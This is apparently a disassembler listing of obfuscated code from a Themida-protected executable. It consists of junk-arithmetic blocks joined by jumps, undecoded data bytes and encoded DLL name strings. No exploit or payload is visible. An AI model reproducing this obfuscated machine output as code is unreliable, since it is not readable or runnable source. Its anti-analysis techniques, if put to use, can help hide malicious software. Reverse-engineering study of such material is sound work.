; ---------------------------------------------------------------------------
		dd 5C240C87h, 0E9241489h, 0FFFFCA79h, 85D2C581h, 0C5812F12h
		dd 83C3EAF9h, 815DE901h, 4C1h, 7FBAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B6A:				; CODE XREF: Themida_:0055919Cj
		push	edi
		push	66760719h
		jmp	loc_55E67E
; ---------------------------------------------------------------------------
		db 68h,	0A0h, 30h
		dd 14890000h, 2BA24h, 0CEE90000h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B87:				; CODE XREF: Themida_:00555296j
		push	eax
		mov	eax, 5564385Bh
		push	ecx
		mov	ecx, 5564385Fh
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		jmp	loc_55EE1B
; ---------------------------------------------------------------------------


loc_561B9E:				; CODE XREF: Themida_:00561650j
		mov	[esp], esi
		jmp	loc_55F884
; ---------------------------------------------------------------------------


loc_561BA6:				; CODE XREF: Themida_:00552F55j
		pop	dword ptr [esp]
		jmp	loc_55D62D
; ---------------------------------------------------------------------------


loc_561BAE:				; CODE XREF: Themida_:005566A1j
		mov	[esp], eax
		jmp	loc_55657F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 92682404h, 89000065h, 7C68241Ch, 8900007Eh, 0CFE92424h
		dd 5BFFFED7h, 8105E6C1h, 0B7D85CEEh, 7DC58161h,	167FB1Ah
		dd 7DBF57F5h, 0E967FB1Ah, 40Ah,	220BCD81h, 0E5C113CEh
		dd 0FBE5603h, 0E905171Bh, 0FFFF103Eh, 4C04410Dh, 819CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C0A:				; CODE XREF: Themida_:00561F26j
		pop	ebx
		shr	ebx, 5
		push	eax
		mov	eax, 72D35C6Eh
		sub	eax, 950E51Bh
		jmp	loc_55D8D3
; ---------------------------------------------------------------------------


loc_561C1E:				; CODE XREF: Themida_:0056141Bj
		mov	edi, 53690283h
		push	edi
		jmp	loc_5558BF
; ---------------------------------------------------------------------------


loc_561C29:				; CODE XREF: Themida_:00560482j
		not	dword ptr [esp]
		pop	eax
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 38D16C5Fh
		sub	ebp, edx
		pop	edx
		or	ebp, 1BE92254h
		xor	ebp, 41B54810h
		or	edx, ebp
		jmp	loc_5618C6
; ---------------------------------------------------------------------------


loc_561C52:				; CODE XREF: Themida_:005549B7j
		pop	ecx
		xchg	ebp, ebx
		not	ebp
		jmp	loc_551D4E
; ---------------------------------------------------------------------------
		dd 4BBh, 245C0100h, 3C8B5B04h, 0BD5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561C6E:				; CODE XREF: Themida_:00556015j
		mov	ebp, 3D5B61BEh
		or	ebp, 94F435Eh
		jmp	loc_5595DD
; ---------------------------------------------------------------------------
		dw 8B66h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5554F1
; ---------------------------------------------------------------------------


loc_561C8B:				; CODE XREF: Themida_:00551DFBj
		mov	[esp], ecx
		push	6A653765h
		pop	ecx
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 0FFFFFFFFh
		add	esi, 45D38627h
		jmp	loc_55E22F
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 32h
		dd 0D67592Dh, 38365E06h, 470E220Dh, 0D4EC052Bh,	0C601D8FDh
		dd 0FF7122E9h, 0C08396FFh, 0E2EE901h, 0DB3FFFFh, 815BDC88h
		dd 4ECh, 8FFBE900h, 74FFFFFFh, 8F5B0424h, 0F3E92404h, 83FFFFB2h
		dd 0C48304C4h, 243C8704h, 0D324248Bh, 0E99C2424h, 0FFFEC0C1h
		dd 0E99C5166h, 0FFFEC0B9h, 0C181E189h, 4, 0FF0935E9h, 56E589FFh
		dd 0FFEB00E9h, 243489FFh, 1062CEBEh, 0CAF68128h, 68281062h
		dd 7E28h, 0BB241C89h, 733E699Eh, 0E9D3F74Bh, 0FFFECF1Fh
; ---------------------------------------------------------------------------


loc_561D44:				; CODE XREF: Themida_:0055F713j
		shr	esi, 8
		add	esi, 3DFB5960h
		sub	esi, 243E168Ah
		jmp	loc_55E42C
; ---------------------------------------------------------------------------


loc_561D58:				; CODE XREF: Themida_:00556203j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55A701
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C7C78158h, 0E930D95Dh, 0FFFF318Ch, 8107EBC1h, 6A39B7F3h
		dd 5BDF8970h, 0FFB350E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561D81:				; CODE XREF: Themida_:005521EAj
		push	edx
		push	7F740301h
		jmp	loc_55EAF1
; ---------------------------------------------------------------------------


loc_561D8C:				; CODE XREF: Themida_:0055D669j
		pop	edx
		shr	eax, 0Ch
		xor	eax, ecx
		push	edx
		jmp	loc_556DBE
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFEE136h, 2B850h, 0C5010000h, 0FF1F25E9h
		dd 240C87FFh, 0DF8AE95Ch, 0E95DFFFEh, 0FFFEDC77h, 1569E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DC2:				; CODE XREF: Themida_:00561130j
		shl	ecx, 3
		dec	ecx
		add	ecx, 2011006Dh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_556467
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 89510000h, 4C181E1h,	83000000h, 0C8E904E9h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DFB:				; CODE XREF: Themida_:00552176j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1B792ED1h
		jmp	loc_5606A9
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BD60104h, 0C4812414h, 4, 0FFB4A5E9h, 2474FFFFh, 48F5904h
		dd 24248B24h, 0FF30DBE9h, 0BF8FE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561E36:				; CODE XREF: Themida_:0055BFCBj
		mov	esp, [esp]
		add	bl, 0Eh
		add	bl, al
		sub	bl, 0Eh
		push	ecx
		mov	ch, 12h
		shl	ch, 6
		jmp	loc_54E3DE
; ---------------------------------------------------------------------------
		dd 6EDAC181h, 0E18158DAh, 6009322Ch, 0B00F181h,	0CD0141C9h
		dd 81240C8Bh, 4C4h, 0C2C18100h,	10CC32Eh, 4EC83E9h, 0FFB406E9h
		dd 2434FFFFh, 0FF2465E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561E81:				; CODE XREF: Themida_:0055A866j
		add	ebx, ebp
		jmp	loc_54F651
; ---------------------------------------------------------------------------
		dd 8704C183h, 85E9240Ch, 5BFFFEE0h, 0FF4574E9h,	4C681FFh
		dd 81000000h, 4ECh, 24048900h, 4B8h, 44BD5500h,	29467F45h
		dd 6EE95DEEh, 58FFFFEFh, 0AEE9D829h, 89FFFFC5h,	9CBA2414h
		dd 517B8953h, 0FEDF6BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561ED1:				; CODE XREF: Themida_:00559A63j
		push	20AFh
		mov	[esp], eax
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 428B6C0Ah, 4EC8355h,	0E9243489h, 0FFFF70CDh,	1019E95Ah
		dd 248BFFFFh, 9FE924h, 50510000h, 0FF1E58E9h, 320368FFh
		dd 3DE90000h, 81FFFF92h, 0DF6659EDh, 243C8B6Bh,	4C481h
		dd 41E90000h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F23:				; CODE XREF: Themida_:00558A3Aj
		inc	dword ptr [esp]
		jmp	loc_561C0A
; ---------------------------------------------------------------------------
		db 58h
		dd 19E9F589h, 5EFFFF24h, 158C189h, 0C781E9CBh, 0C481FFFEh
		dd 4, 0FEFD39E9h, 0F4B951FFh, 157BB25h,	5908244Ch, 0FF8118E9h
		dd 0CB685EFFh, 8900002Ah, 91682414h, 5A136326h,	0E9E68956h
		dd 0FFFF9C2Ah
; ---------------------------------------------------------------------------


loc_561F70:				; CODE XREF: Themida_:00554AF8j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_54E918
; ---------------------------------------------------------------------------
		dd 58C7015Bh, 0BB5FFD89h, 72BD5D11h, 0FF1A78E9h, 48F66FFh
		dd 66526624h, 662414F7h, 8324148Bh, 316602C4h, 33662414h
		dd 31662414h, 6E92414h,	57FFFEBEh, 0FF79B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FC5:				; CODE XREF: Themida_:00559220j
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		push	62Ch
		mov	[esp], ebx
		mov	ebx, 0AC14139h
		sub	edx, ebx
		pop	ebx
		add	ebp, edx
		pop	edx
		push	edx
		mov	edx, 2A856B29h
		shl	edx, 8
		add	edx, 33E45349h
		jmp	loc_54FDF5
; ---------------------------------------------------------------------------
		dw 0FD29h
		dd 0E90AE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FFE:				; CODE XREF: Themida_:00554E3Dj
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556334
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 5F498EBEh, 8BF68179h, 812AFD5Ch, 8DDCD2EEh
		dd 2FEE8138h, 11B1438h,	24348BF0h, 55E08950h, 4BDh, 34430500h
		dd 0E801777Dh, 7D34432Dh, 0C547E977h, 868FFFFh,	8900001Ah
		dd 0B2B42404h, 0FFDECBE9h, 7E8C1FFh, 0FF1959E9h, 0ABEA81FFh
		dd 1000A44h, 24148BD6h,	8898E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562072:				; CODE XREF: Themida_:005570CCj
		sub	dword ptr [esp+8], 697E3E9Bh
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], eax
		jmp	loc_557743
; ---------------------------------------------------------------------------
		db 0BBh, 0Bh, 13h
		dd 0DF015847h, 0EA12E95Bh, 0E589FFFEh, 0FFB0B9E9h, 0CA815AFFh
		dd 1A0862C4h, 0FFF1D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5620A9:				; CODE XREF: Themida_:00557FD4j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CC26
; ---------------------------------------------------------------------------
		dd 240C8B66h, 76B768h, 242C8900h, 0F2E9E589h, 5CFFFEDBh
		dd 4EC81h, 43E90000h, 0B9FFFED7h, 0E0AF87D6h, 2B4CC181h
		dd 0F1012898h, 1DABF57h, 814774EFh, 52381FF7h, 0E1C78157h
		dd 56488237h, 0FEEBA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5620F9:				; CODE XREF: Themida_:0055DEA0j
		mov	[esp], ebp
		push	0
		jmp	loc_558CF8
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 531D16FDh, 0FF4E6AE9h, 2C895CFFh, 0A3FDE924h, 48BFFFFh
		dd 4C48124h, 8B000000h,	81502434h, 4ECh, 0ACE9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562132:				; CODE XREF: Themida_:0055FF09j
		push	edi
		mov	edi, ebp
		mov	eax, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5504D8
; ---------------------------------------------------------------------------


loc_562152:				; CODE XREF: Themida_:00559D70j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	edx
		jmp	loc_552506
; ---------------------------------------------------------------------------
		dd 0E9515A66h, 0FFFF516Dh, 0E980D900h, 0CC205B4Ah, 0E9240C8Bh
		dd 0FFFF0567h, 6624248Bh, 81240C8Bh, 4ECh, 241C8900h, 85568h
		dd 0AE69E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562192:				; CODE XREF: Themida_:00560938j
		xchg	ecx, ebp
		neg	ecx
		xchg	ecx, ebp
		add	ebp, 32564362h
		shl	ebp, 6
		push	60C0h
		mov	[esp], ebx
		jmp	loc_55F656
; ---------------------------------------------------------------------------
		dw 8142h
		dd 0B78EE5F2h, 5AD3896Ah, 47F0EB81h, 0F3816750h, 27F4177h
		dd 6A1DF381h, 0F3813065h, 0C588936Bh, 0FFB5F1E9h, 0B8505CFFh
		dd 8FBD1843h, 3AE9C329h, 0F7FFFF83h, 8E8C1D0h, 892A2F35h
		dd 0E9C10100h, 0FFFFED35h, 0FF2414F7h, 13E92434h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621FF:				; CODE XREF: Themida_:0054DFC2j
		push	edx
		pop	eax
		pop	edx
		jmp	loc_5552E3
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0A14FB105h, 2DD00134h, 34A14FB1h, 0FEFDF7E9h, 0B6E950FFh
		dd 8FFFFF37h, 0E9562404h, 0FFFEE575h
; ---------------------------------------------------------------------------


loc_562228:				; CODE XREF: Themida_:00558387j
		mov	ebp, 5DDD2EA3h
		neg	ebp
		add	ebp, 0FFFFFFFFh
		xor	ebp, 8541FABh
		sub	ebp, 6CF03656h
		add	ebp, 16CA58A3h
		xor	ebp, 75BDA9C8h
		add	eax, 66086CB6h
		add	eax, 51982A2Ch
		sub	eax, ebp
		sub	eax, 51982A2Ch
		push	esi
		jmp	loc_55C45D
; ---------------------------------------------------------------------------
		dd 0A1F780h, 0EA805BFAh, 80FA28C5h, 0EA80C5C2h,	241C8B17h
		dd 0E904C483h, 0FFFFBD36h, 0DD243481h, 5B2BD84Eh, 27E0BE56h
		dd 32E97111h, 5BFFFF4Bh, 0FF1FECE9h, 0EDF381FFh, 0E94E4F6Ch
		dd 0FFFEBC91h
; ---------------------------------------------------------------------------


loc_5622A4:				; CODE XREF: Themida_:0055E0EEj
		pop	dword ptr [esp]
		jmp	loc_552D0A
; ---------------------------------------------------------------------------
		dd 582434FFh, 0AB2E955h, 0C781FFFFh, 4,	0E9243C87h, 0FFFF3D87h
		dd 1493E981h, 0E9812E07h, 0EEF00DBh, 0B5C98141h, 0E9783D6Bh
		dd 0FFFEFE9Fh, 81242C8Bh, 4C4h,	2DE95600h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622EB:				; CODE XREF: Themida_:0055EAECj
		pop	ebp
		push	4B51h
		mov	[esp], ebp
		jmp	loc_554D9C
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 5Ah
		dd 0BE9C601h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562303:				; CODE XREF: Themida_:0055258Ej
		mov	edi, 4909437Ah
		sub	edi, 2E4E126Eh
		jmp	loc_55CC1F
; ---------------------------------------------------------------------------


loc_562313:				; CODE XREF: Themida_:0055BB19j
		mov	ecx, 18FC3D5Eh
		push	esi
		mov	esi, 0AC34C0Fh
		xor	esi, 5DA10CC8h
		add	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 2DD7E447h
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 39E70A6h
		xor	[esp+4], edx
		pop	edx
		pop	ebp
		jmp	loc_557FED
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0FFFFFFFFh, 0C077EB81h, 83E9D997h, 87FFFF8Ah, 0C15A241Ch
		dd 0EA8107EAh, 64A740Dh, 1EA81h, 0F2810000h, 49384CB0h
		dd 53E95356h, 66FFFF99h, 5324048Bh, 241C8B54h, 8104C483h
		dd 4C3h, 0ABE95700h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562393:				; CODE XREF: Themida_:00558FFAj
		mov	ah, 5Ch
		or	bl, ah
		jmp	loc_55E460
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704C0h, 0A2EAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5623AE:				; CODE XREF: Themida_:0055A49Cj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56096B
; ---------------------------------------------------------------------------


loc_5623BA:				; CODE XREF: Themida_:00560D27j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55677B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9552414h, 0FFFF260Dh, 83241C8Bh, 0F90904C4h, 0E9E9815Fh
		dd 816FDFFFh, 0C03BBCEFh, 84B95160h, 50160E29h,	0FEFA50E9h
		dd 4C083FFh, 5C240487h,	0FF1BF9E9h, 5EC581FFh, 0E927605Fh
		dd 0FFFF6FF5h, 79F38166h, 0DE21664Ah, 0F2AEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56242A:				; CODE XREF: Themida_:0055FB29j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_552CE2
; ---------------------------------------------------------------------------
aN1Siuhhb	db '­1ØS‰ãhHb',0
		align 2
		dw 489h
		dd 4B824h, 0C3010000h, 8324048Bh, 0B85004C4h, 4, 8758C329h
		dd 0AEE9241Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562463:				; CODE XREF: Themida_:0054F6FBj
		inc	edi
		or	edi, 1117188Bh
		xor	edi, 77BF598Bh
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	0FD6h
		mov	[esp], ecx
		push	esi
		mov	esi, 770717D2h
		xor	esi, 770717D6h
		jmp	loc_55154E
; ---------------------------------------------------------------------------


loc_562491:				; CODE XREF: Themida_:0055713Bj
		pop	eax
		jmp	loc_558B7D
; ---------------------------------------------------------------------------
		db 53h
		dd 1DE9E389h
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56249F:				; CODE XREF: Themida_:00562647j
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_560C3E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 1768240Ch, 8900005Ah, 0FCE9241Ch
		db 0E2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5624CF:				; CODE XREF: Themida_:00558812j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55F7E2
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0A240C17h, 0FF5DE929h, 3C8B2434h, 4C48124h, 50000000h
		dd 0DDE9E089h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_562513:				; CODE XREF: Themida_:00558BF5j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558C04
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF9266h
; ---------------------------------------------------------------------------


loc_562528:				; CODE XREF: Themida_:0055E812j
		xor	[esp], eax
		jmp	loc_55D973
; ---------------------------------------------------------------------------
		dd 4BA525Dh, 1000000h, 7BD2E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56253E:				; CODE XREF: Themida_:00556587j
		push	esp
		pop	edi
		push	eax
		push	ebp
		push	edx
		sub	esp, 4
		mov	[esp], esi
		push	67C85F0Ah
		pop	esi
		sub	esi, 79447E0Eh
		push	edx
		jmp	loc_56264C
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 0E9FE0100h, 0FFFF4FEEh, 9D1C77FFh, 1CD25966h
		dd 4EE99C24h, 87FFFEB8h, 895C243Ch, 0DDE9242Ch,	8BFFFF78h
		dd 0FF662424h, 0E99C240Ch, 0FFFEB835h, 0F02B59BDh, 5DEA095Ah
		dd 0FFFFEA81h, 0C281FFFFh, 0B32120BBh, 815AD701h, 4ECh
		dd 240C8900h, 0C181E189h, 4, 4E981h, 0C870000h,	4B0BE924h
		dd 4BDFFFFh, 57000000h,	3714C9BFh, 0CE98152h, 290D4628h
		dd 0CC181F9h, 5F0D4628h, 0C181E901h, 523714C9h,	10EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5625ED:				; CODE XREF: Themida_:005574A5j
		pop	edi
		jmp	loc_55E8FD
; ---------------------------------------------------------------------------
		db 83h
		dd 1E904C4h, 31FFFF4Fh,	242C8BEAh, 0FFF809E9h, 4BA52FFh
		dd 81000000h, 351A1DC6h, 10B4E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562616:				; CODE XREF: Themida_:0055C7F2j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 38E24703h
		and	edi, 3EBB750Eh
		jmp	loc_555694
; ---------------------------------------------------------------------------
		db 50h
		dd 5C0831B8h, 835BE5Dh,	0C6315D5Ch, 0E9F70158h,	0FFFFF915h
; ---------------------------------------------------------------------------


loc_562644:				; CODE XREF: Themida_:0055F19Cj
		add	ebx, edi
		pop	edi
		jmp	loc_56249F
; ---------------------------------------------------------------------------


loc_56264C:				; CODE XREF: Themida_:00562556j
		mov	edx, 0B40252Fh
		jmp	loc_556599
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 5F042474h, 0FF1BC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562661:				; CODE XREF: Themida_:00552ED4j
		pop	esp
		jmp	loc_559F51
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 10B95100h, 81500635h, 5204B0C9h, 46E18168h, 835E0E3Eh
		dd 0D1F701C1h, 0FF200BE9h, 0E9E789FFh, 0FFFFD1C8h, 5E04E954h
		dd 5D54FFFFh, 4C581h, 0EC830000h, 241C8904h, 4BBh, 5BDD0100h
		dd 5C242C87h, 0FEC96CE9h, 4F000FFh, 5AE904D8h, 78B55166h
		dd 0E828B904h, 5966B92Ch, 0FF8AD6E9h, 6D4925FFh, 0A2D104Bh
		dd 2D731776h, 1, 0A4A72D40h, 0C6895EA1h, 8124048Bh, 4C4h
		dd 0FFC68300h, 0F755EE87h, 1BE92414h, 8BFFFF7Ah, 4AE9242Ch
		dd 57FFFFB1h, 0C781E789h, 4, 26CBD55h, 0D5F7390Bh, 0CD81DDF7h
		dd 46AD3860h, 5CE9DDF7h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562723:				; CODE XREF: Themida_:0055B3D5j
		or	esi, 21FD42BBh
		push	ecx
		mov	ecx, 0FCD1D38h
		not	ecx
		jmp	loc_5501D0
; ---------------------------------------------------------------------------
		dw 1968h
		dd 89000036h, 0BD552414h, 4, 295DEA89h,	0FF535AD3h, 8B042474h
		dd 0C483241Ch, 24048F04h, 240C895Ch, 14E8BF57h,	0D0E90D2Fh
		dd 5FFFFF38h, 516B68h, 24348900h, 42474FFh, 6824348Bh
		dd 2F72h, 89243489h, 4C681E6h, 0E9000000h, 0FFFF2E26h
		dd 8B2434FFh, 0E9562404h, 0FFFFA4E6h, 68242C89h, 2, 0FFC6E9E9h
		dd 4C483FFh, 0FFBC8AE9h, 0D1EF81FFh, 2958D019h,	38B4E9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5627BA:				; CODE XREF: Themida_:00551883j
		mov	ecx, 4
		jmp	loc_558C83
; ---------------------------------------------------------------------------
		dd 0C281EA29h, 5345351h, 0FF2E7BE9h, 24348BFFh,	0FF486BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5627D9:				; CODE XREF: Themida_:0055EAFEj
		xor	dword ptr [esp], 22FB357Dh
		pop	ecx
		xor	ecx, 22FB357Dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ecx, ebp
		jmp	loc_558C1F
; ---------------------------------------------------------------------------


loc_5627F8:				; CODE XREF: Themida_:0055A551j
		and	eax, 509251EDh
		jmp	loc_5612E6
; ---------------------------------------------------------------------------


loc_562802:				; CODE XREF: Themida_:00553A23j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5520E3
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0F2h
		dd 3FFFFBh, 148BD001h, 0E7895724h, 0FF179CE9h, 57E189FFh
		dd 4BFh, 0E9F90100h, 0FFFF2B8Fh, 0EF80CF00h, 0F988596Eh
		dd 1BA2685Bh, 0F2E90000h, 83FFFFD5h, 3A6804C4h,	8900005Ch
		dd 4B9240Ch, 81000000h,	0A8703DEFh, 51CF0141h, 1E73EAB9h
		dd 82C18104h, 496E721Dh, 0FF8A08E9h, 515052FFh,	0EDC0AFB5h
		dd 0B0506602h, 66C52039h, 0FF5BE958h, 2C89FFFEh, 0EFC9E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56288A:				; CODE XREF: Themida_:0056153Ej
		neg	eax
		inc	eax
		inc	eax
		sub	esp, 4
		jmp	loc_55DA7F
; ---------------------------------------------------------------------------


loc_562896:				; CODE XREF: Themida_:0055181Fj
		pop	esi
		sub	edx, 4
		jmp	loc_55C9F4
; ---------------------------------------------------------------------------
		db 81h
		dd 1247E1EFh, 0C7815E29h, 0F393D72Eh, 34FFF801h, 0C4835F24h
		dd 0A3FDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5628BA:				; CODE XREF: Themida_:0055F523j
		mov	[esp], cx
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DEE9241Ch, 0BEFFFFDCh, 35335009h, 6BBFBD55h, 0EE015FC6h
		dd 0CBEE815Dh, 297CFB95h, 0C3815EF3h, 7D7066CBh, 0FFE9C329h
		dd 56FFFF16h, 0FECF54E9h, 0EF815AFFh, 60EFFEEBh, 0FCB2E953h
		dd 0E981FFFEh, 5E695E02h, 0FEEB90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56290D:				; CODE XREF: Themida_:0055E271j
		push	ebx
		mov	ebx, 4
		sub	ebp, 55F94CF4h
		add	ebp, ebx
		add	ebp, 55F94CF4h
		pop	ebx
		sub	ebp, 4
		jmp	loc_555CEB
; ---------------------------------------------------------------------------


loc_56292A:				; CODE XREF: Themida_:00561302j
		mov	[esp], ecx
		jmp	loc_557CD1
; ---------------------------------------------------------------------------


loc_562932:				; CODE XREF: Themida_:00555F9Aj
		push	ecx
		jmp	loc_54EC9A
; ---------------------------------------------------------------------------
		dd 0E588D488h, 88525058h, 8BD488EAh, 9AE92414h,	0EBFFFF2Ch
		dd 45535536h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch,	2000807h
		dd 0F000700h, 24001900h, 1C026000h, 0E9783660h,	825h, 4A959F68h
		dd 0E99FE906h, 1068FFFDh, 0E9064A96h, 0FFFDE995h, 4A971168h
		dd 0E98BE906h, 3F68FFFDh, 0E9064A98h, 0FFFDE981h, 4A98D168h
		dd 0E977E906h, 0D068FFFDh, 0E9064A99h, 0FFFDE96Dh, 4A9A2D68h
		dd 0E963E906h, 0ED94FFFDh, 981A7612h, 1CA3FF9Dh, 8F376301h
		dd 3EBAD6B2h, 5D3A593Bh, 0B8D8D965h, 2D4F5AECh,	97F5F471h
		dd 1F7D78FBh, 1B5D3144h, 0A97C6EC8h, 0B808C17h,	0B6FB74BDh
		dd 0ACA03685h, 35D7E004h, 5481CCA2h, 0DAA57C6Ch, 6CCDA03Eh
		dd 0FAC55646h, 80E9C550h, 95BFE42h, 58C8CD77h, 7A76DCDBh
		dd 37004C3Dh, 0A2AC0295h, 4656467Ah, 9112AE39h,	696E2A84h
		dd 0EE7D55B6h, 0DFD00A50h, 86076010h, 0E05AEFAh, 11FD64BFh
		dd 3DAD6233h, 6AAh, 0E4849B1Ah,	6D0F0AA8h, 0D1B3AE31h
		dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh
		dd 0EE950163h, 0C3DA89EBh, 6EC7ADEBh, 0E2A53B7Ch, 8AFBFE85h
		dd 0C453F9C2h, 6EC73AEAh, 35B14B7Ch, 90264734h,	7C1087E0h
		dd 0EF8CFDF4h, 0A537CE47h, 7E00EC19h, 26E1A634h, 0E48111B9h
		dd 6E0B87E5h, 0E58E1A6Bh, 0FF6A5FEEh, 0D34C0C59h, 63923h
		dd 15EC9500h, 9C991B77h, 1FA0FCh, 0B58C3460h, 3A3FBBD7h
		dd 645C355Eh, 0EFBBD9D8h, 702C4C59h, 0FA96F2F5h, 451E7A79h
		dd 0C91C5C32h, 16A87C6Eh, 0FBFE858Dh, 0DF61FB8Ah, 0D5524FD1h
		dd 0D4A5A047h, 10937FD7h, 0F36F6415h, 12E3180Ch, 3939DDE1h
		dd 62000000h, 99FBFE85h, 32FD47FAh, 882B7624h, 0B48FEF8Dh
		dd 0EB2F7F16h, 107C6CA4h, 1BBEDD9Bh, 0FDB6F236h, 8960662h
		dd 4672D865h, 9712AE39h, 19A4F090h, 0AFF96906h,	5E000005h
		dd 8AFBFE85h, 0A240F9C2h, 28A9D6A7h, 61D0E1BDh,	67F97C6Ch
		dd 0B255C7DAh, 71D9A6D7h, 4E09D241h, 0BCAB92Fh,	31B2EE8Ah
		dd 3D065632h, 0DF71089Fh, 0A1A04D53h, 23CC8A20h, 0C782B794h
		dd 7B0815ABh, 104AE3Ah,	0FE7B1580h, 740899FBh, 0C880DECFh
